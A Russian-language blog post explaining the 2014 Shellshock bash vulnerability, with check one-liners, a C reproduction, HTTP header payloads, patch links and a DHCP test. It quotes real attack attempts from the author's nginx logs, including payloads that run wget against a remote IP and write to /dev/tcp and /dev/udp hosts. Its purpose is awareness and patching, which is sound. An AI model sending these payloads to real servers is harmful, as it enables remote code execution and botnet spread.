CVE-2014-6271: Remote code execution through bash

bash-shellshock

Второй день Интернет активно обсуждает CVE-2014-6271 и CVE-2014-7169 — Remote code execution through bash. Основной момент, Bash позволяет экспортировать функции как переменные окружения. Если после тела функции (после последнего символа «}») добавить ещё какую-нибудь команду, и экспортировать её — она будет выполнена при вызове дочернего интерпретатора:

Ниже три скрипта, которые позволяют проверить, подвержены ли вы атаке:

Первого типа

export badvar='() { :;}; echo vulnerable'
bash -c "echo I am an innocent sub process in '$BASH_VERSION'"
 
vulnerable
I am an innocent sub process in 4.3.22(1)-release

Второго типа:

env X='() { (a)=>\' sh -c "echo date"; cat echo

Тоже самое делает данный код:

#include
#include 
int main()
{
   setenv("VAR", "() { :;}; echo vulnerable", 0);
   system("ls");
}
#./a.out
vulnerable
a.out

Немного изменив алгоритм, можно сделать HTTP-пакет, который будет содержать вредоносный код:

http-user-agent = shellshock-scan 
http-header[Cookie] = () { :; }; ping -c 3 209.126.230.74
http-header[Host] = () { :; }; ping -c 3 209.126.230.74
http-header[Referer] = () { :; }; ping -c 3 209.126.230.74

via (c) http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html

Злоумышленники прямо сейчас целенаправленно сканируют подсети IP-адресов в поиске уязвимых веб-серверов.

В общем-то меня не обошли стороной. В логах можно найти следующее:

# cd /var/log/nginx/
# grep "() {" ./*
 
[25/Sep/2014:12:12:27 +0400] "GET / HTTP/1.1" 200 52082 "-" "() { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq" "-"
[25/Sep/2014:14:38:56 +0400] "GET / HTTP/1.1" 200 44332 "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444" "-"
[25/Sep/2014:16:56:14 +0400] "GET / HTTP/1.0" 200 16423 "-" "() { ignored;};/usr/bin/wget 176.99.6.189:3128/dd" "-"
[25/Sep/2014:17:08:37 +0400] "GET / HTTP/1.0" 200 16423 "-" "() { ignored;};/usr/bin/wget 176.99.6.189:3128/sitename" "-"
[25/Sep/2014:17:15:33 +0400] "GET / HTTP/1.0" 200 16423 "-" "() { ignored;};echo GET /sitename HTTP/1.0 > /dev/tcp/176.99.6.189/3128" "-"

Виновник торжества — Bash — по умолчанию используется в большинстве Linux и BSD систем, что делает уязвимость чрезвычайно опасной. Но даже если вы не используете Linux, BSD и Mac OS X на собственных серверах, вы всё равно можете пострадать от CVE-2014-6271 и CVE-2014-7169. Уязвимости подвержен Web-интерфейс администрирования целого ряда сетевых устройств (маршрутизторы, роутеры, гаджеты с удаленным управлением), одно из которых может быть и в вашей инфраструктуре. При этом для эксплуатации уязвимости веб-интерфейса не требуется вводить корректный логин и пароль.

Мы поймали за хвост живой ботнет уже написанный для x86 и MIPS, который посредством этих уязвимостей распространяется со скоростью калифорнийского пожара. Уязвимость вчера — ботнет сегодня. На 21:00 25 сентября в ботнете было несколько десятков тысяч участников.

Большая часть операционных систем уже содержит в репозитариях необходимые обновления.

Официальный мейнтейнер GNU bash, выложил патчи.

http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017
http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039
http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012
http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048
http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025

UPD: 27.09.2014 Пример эксплуатации эксплоита Shellshock  на DHCP-сервере
Для внедрения эксплоита подходит любое строковое значение, например URL.

Устанавливаем 114 опции значение:

() { ignored;}; echo ‘foo’

00328

Если видим в логах «foo», то клиентская машина уязвима.

00420

UPD: 29.09.2014 Скрипт, который проверяет на данный момент 5 уязвимостей BASH

https://github.com/hannob/bashcheck/blob/master/bashcheck

Вы можете оставить комментарий ниже.